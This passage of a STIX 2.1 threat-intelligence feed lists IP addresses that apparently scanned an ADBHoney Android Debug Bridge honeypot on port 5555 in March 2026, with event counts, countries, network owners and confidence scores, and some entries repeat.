        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-14T14:28:07.000Z | last_seen=2026-03-14T14:38:08.829Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.236.35.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:00:02.000Z",
      "valid_until": "2026-04-15T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-14T14:28:07.000Z",
          "last_seen": "2026-03-14T14:38:08.829Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-14T19:07:23.000Z | last_seen=2026-03-14T19:17:32.544Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:00:02.000Z",
      "valid_until": "2026-04-15T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-14T19:07:23.000Z",
          "last_seen": "2026-03-14T19:17:32.544Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-14T19:07:23.000Z | last_seen=2026-03-14T19:17:32.544Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:00:03.000Z",
      "valid_until": "2026-04-15T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-14T19:07:23.000Z",
          "last_seen": "2026-03-14T19:17:32.544Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-14T20:56:52.000Z | last_seen=2026-03-14T21:15:13.429Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--9c9a0ade-e06a-465b-8ba2-1fe732aa2b8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:00:02.000Z",
      "valid_until": "2026-04-15T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-14T20:56:52.000Z",
          "last_seen": "2026-03-14T21:15:13.429Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=RU; asn=198953; asn_org=Proton66 OOO; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-14T21:18:53.000Z | last_seen=2026-03-15T04:09:31.103Z | ports=5555 | cc=RU | asn=198953 | org=Proton66 OOO",
      "id": "indicator--e224e36c-8f06-4799-a1c0-094111286ffc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.120.22.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T22:00:03.000Z",
      "valid_until": "2026-04-15T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-14T21:18:53.000Z",
          "last_seen": "2026-03-15T04:09:31.103Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "198953"
          ],
          "org": [
            "Proton66 OOO"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-14T22:06:42.000Z | last_seen=2026-03-14T22:16:49.098Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--9d8c6d65-7055-447e-bd4c-de9b34d0be3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:00:03.000Z",
      "valid_until": "2026-04-15T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-14T22:06:42.000Z",
          "last_seen": "2026-03-14T22:16:49.098Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T22:04:28.000Z | last_seen=2026-03-14T22:05:32.220Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--6a1a8610-63a7-4d52-8eb3-6c5da03a49a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:00:03.000Z",
      "valid_until": "2026-04-15T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T22:04:28.000Z",
          "last_seen": "2026-03-14T22:05:32.220Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-14T22:06:42.000Z | last_seen=2026-03-14T22:16:49.098Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--9d8c6d65-7055-447e-bd4c-de9b34d0be3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:00:03.000Z",
      "valid_until": "2026-04-15T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-14T22:06:42.000Z",
          "last_seen": "2026-03-14T22:16:49.098Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T22:04:28.000Z | last_seen=2026-03-14T22:05:32.220Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--6a1a8610-63a7-4d52-8eb3-6c5da03a49a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T23:00:03.000Z",
      "valid_until": "2026-04-15T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T22:04:28.000Z",
          "last_seen": "2026-03-14T22:05:32.220Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T23:15:34.000Z | last_seen=2026-03-14T23:16:43.364Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--86eeb655-ce58-4e6d-a3d2-6080523492e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.197.44.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:00:04.000Z",
      "valid_until": "2026-04-16T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T23:15:34.000Z",
          "last_seen": "2026-03-14T23:16:43.364Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=203273; asn_org=NetCrafters OU; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-14T23:32:08.000Z | last_seen=2026-03-14T23:33:13.659Z | ports=5555 | cc=DE | asn=203273 | org=NetCrafters OU",
      "id": "indicator--8c65255b-6134-43ef-821c-ead69916bd3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '62.60.217.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:00:04.000Z",
      "valid_until": "2026-04-16T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-14T23:32:08.000Z",
          "last_seen": "2026-03-14T23:33:13.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "203273"
          ],
          "org": [
            "NetCrafters OU"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T00:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T23:15:34.000Z | last_seen=2026-03-14T23:16:43.364Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--86eeb655-ce58-4e6d-a3d2-6080523492e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.197.44.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:00:05.000Z",
      "valid_until": "2026-04-16T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T23:15:34.000Z",
          "last_seen": "2026-03-14T23:16:43.364Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T00:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=203273; asn_org=NetCrafters OU; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-14T23:32:08.000Z | last_seen=2026-03-14T23:33:13.659Z | ports=5555 | cc=DE | asn=203273 | org=NetCrafters OU",
      "id": "indicator--8c65255b-6134-43ef-821c-ead69916bd3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '62.60.217.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:00:05.000Z",
      "valid_until": "2026-04-16T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-14T23:32:08.000Z",
          "last_seen": "2026-03-14T23:33:13.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "203273"
          ],
          "org": [
            "NetCrafters OU"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T01:33:01.000Z | last_seen=2026-03-15T20:31:08.663Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:00:03.000Z",
      "valid_until": "2026-04-16T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T01:33:01.000Z",
          "last_seen": "2026-03-15T20:31:08.663Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T02:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T01:33:01.000Z | last_seen=2026-03-15T20:31:08.663Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:00:06.000Z",
      "valid_until": "2026-04-16T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T01:33:01.000Z",
          "last_seen": "2026-03-15T20:31:08.663Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T03:36:53.000Z | last_seen=2026-03-15T03:47:06.306Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c8267e40-a59f-45e8-a835-cd82000bedb6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.0.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T03:36:53.000Z",
          "last_seen": "2026-03-15T03:47:06.306Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-15T03:22:52.000Z | last_seen=2026-03-15T03:34:19.917Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
